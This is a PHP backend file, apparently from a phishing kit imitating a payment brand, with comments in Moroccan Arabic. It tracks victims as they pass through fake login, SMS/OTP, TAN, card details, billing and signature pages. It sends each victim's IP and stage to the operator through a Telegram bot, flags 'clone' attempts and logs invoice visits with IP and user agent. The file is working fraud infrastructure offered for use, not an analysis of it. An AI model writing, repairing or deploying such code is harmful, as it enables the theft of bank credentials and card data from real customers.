<?php
require '../main.php';
require_once __DIR__ . '/class/Config.php';



// =====================
// Helper / safety fixes
// =====================

/**
 * note() يبقى كيف ما هو. غير sendBot مصحح باش يسكر curl ويدير تحقق.
 */

function note($statu)
{
	global $m;
	global $a_ids;
	global $notifs;

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n- LOG [ $statu ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	$ids = explode(",", str_replace(" ", "", $a_ids));

	if ($notifs == "1") {
		$ip = $_SERVER['REMOTE_ADDR'];
		$time = date('H:i d/m');
		$brand = class_exists('Config', false) ? Config::$alert_brand_name : 'NETOPIA';
		$msg = urlencode("🔔 {$brand} Alert\n\n📍 IP: $ip\n📄 Status: $statu\n⏰ $time");
		foreach ($ids as $id) {
			sendBot($id, $msg);
		}
	}
}

/**
 * sendBot: إصلاح ترتيب curl و basic validation.
 * ملاحظة: خليه يعمل فقط إذا $a_bot معرف.
 */
function sendBot($id, $msg)
{
	global $a_bot;

	// تحقق بسيط
	if (empty($a_bot) || empty($id) || empty($msg)) {
		return false;
	}

	$url = "https://api.telegram.org/bot" . urlencode($a_bot) . "/sendMessage";
	$post = http_build_query([
		'chat_id' => $id,
		'text'    => $msg
	]);

	$ci = curl_init();
	curl_setopt($ci, CURLOPT_URL, $url);
	curl_setopt($ci, CURLOPT_POST, true);
	curl_setopt($ci, CURLOPT_POSTFIELDS, $post);
	curl_setopt($ci, CURLOPT_RETURNTRANSFER, true);
	// في بيئة التطوير يمكن تخفيف التحقق، لكن في الإنتاج خليه true
	curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, true);

	$res = curl_exec($ci);
	$err = curl_error($ci);
	curl_close($ci);

	return ($res !== false) ? $res : $err;
}



// ============
// Existing hooks
// ============

if (isset($_POST['otpview'])) {
	note("In otp page");
}
if (isset($_POST['otping'])) {
	note("SMS / OTP — typing code...");
}


if (isset($_POST['loginview'])) {
	note("In Login page");
}
if (isset($_POST['loging'])) {
	note("Entering login info...");
}

if (isset($_POST['taning'])) {
	note("Entering TAN...");
}
if (isset($_POST['tanview'])) {
	note("In TAN page");
}

if (isset($_POST['cardview'])) {
	note("In card page");
}

if (isset($_POST['carding'])) {
	note("Entering card info...");
}
if (isset($_POST['carddetailsview'])) {
	note("In card details page");
}

if (isset($_POST['carddetailsing'])) {
	note("Entering card details info...");
}

if (isset($_POST['firmaview'])) {
	note("In firma page");
}


if (isset($_POST['firmaing'])) {
	note("Entering firma code...");
}

if (isset($_POST['waitingview'])) {
	note("Waiting for redirection...");
}

if (isset($_POST['appview'])) {
	note("Waiting for bank app authorization...");
}

if (isset($_POST['billingview'])) {
	note("In billing page");
}
if (isset($_POST['billinging'])) {
	note("Entering billing information...");
}
if (isset($_POST['finishview'])) {
	note("Success!");
}
if (isset($_POST['clonedetect'])) {
	note(" + A CLONE TRY HAS BEEN DETECTED!");
}



// ==================================================
// Invoice presence logging (local file, rate-limited)
// ==================================================
if (isset($_POST['page']) && $_POST['page'] === 'invoice') {
    $action   = $_POST['action']   ?? '';
    $order_id = $_POST['order_id'] ?? '';
    $ip       = $_SERVER['REMOTE_ADDR'] ?? 'unknown';

    // تأكد من وجود مجلد logs
    $logsDir = __DIR__ . '/logs';
    if (!is_dir($logsDir)) {
        @mkdir($logsDir, 0750, true);
    }

    // ملف اللوق (JSON lines)
    $logFile = $logsDir . '/invoice_pings.log';

    // Simple rate-limit: احتفظ بآخر timestamp لكل order في ملف JSON مؤقت
    $rateFile = $logsDir . '/invoice_last.json';
    $lastMap = [];
    if (file_exists($rateFile)) {
        $raw = @file_get_contents($rateFile);
        $decoded = @json_decode($raw, true);
        if (is_array($decoded)) $lastMap = $decoded;
    }

    $now = time();
    $allow = true;
    $key = $order_id ?: '_no_order_';
    $minInterval = 25; // seconds between logs for same order

    if (isset($lastMap[$key]) && ($now - intval($lastMap[$key])) < $minInterval) {
        // Skip logging to avoid spam
        $allow = false;
    } else {
        $lastMap[$key] = $now;
        @file_put_contents($rateFile, json_encode($lastMap, JSON_UNESCAPED_SLASHES));
    }

    if ($allow) {
        $entry = [
            'time'     => date('c'),
            'page'     => 'invoice',
            'action'   => $action,
            'order_id' => $order_id,
            'ip'       => $ip,
            'ua'       => $_SERVER['HTTP_USER_AGENT'] ?? ''
        ];
        @file_put_contents($logFile, json_encode($entry, JSON_UNESCAPED_SLASHES) . PHP_EOL, FILE_APPEND | LOCK_EX);
    }

    // لا نرسل تيليغرام من هاد البلوك (تسجيل محلي فقط). هكذا ما نزيدوش spam.
    http_response_code(200);
    echo 'ok';
    exit('ok');
}

?>
